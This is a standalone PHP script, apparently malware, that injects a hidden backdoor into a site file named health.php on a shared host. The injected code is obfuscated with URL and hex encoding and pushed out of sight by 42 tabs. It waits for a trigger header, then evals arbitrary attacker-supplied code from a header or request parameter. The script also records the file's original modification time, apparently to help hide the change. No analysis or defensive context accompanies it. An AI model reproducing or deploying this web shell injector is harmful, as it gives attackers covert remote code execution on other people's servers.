<?php  $path = '/home/getfsxkz/public_html/health.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24_HEADERS%20%3D%20getallheaders%28%29%3Bif%28isset%28%24_HEADERS%5B%27X-Dns-Prefetch-Control%27%5D%29%29%7B%24c%3D%22%3C%5Cx3f%5Cx70h%5Cx70%5Cx20%40%5Cx65%5Cx76a%5Cx6c%5Cx28%24%5Cx5f%5Cx48E%5Cx41%5Cx44E%5Cx52%5Cx53%5B%5Cx22%5Cx53e%5Cx63%5Cx2dW%5Cx65%5Cx62s%5Cx6f%5Cx63k%5Cx65%5Cx74-%5Cx41%5Cx63c%5Cx65%5Cx70t%5Cx22%5Cx5d%29%5Cx3b%5Cx40e%5Cx76%5Cx61l%5Cx28%5Cx24_%5Cx52%5Cx45Q%5Cx55%5Cx45S%5Cx54%5Cx5b%5C%22%5Cx53%5Cx65c%5Cx2d%5Cx57e%5Cx62%5Cx73o%5Cx63%5Cx6be%5Cx74%5Cx2dA%5Cx63%5Cx63e%5Cx70%5Cx74%5C%22%5Cx5d%5Cx29%3B%22%3B%24f%3D%27.%27.time%28%29%3B%40file_put_contents%28%24f%2C%20%24c%29%3B%40include%28%24f%29%3B%40unlink%28%24f%29%3B%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');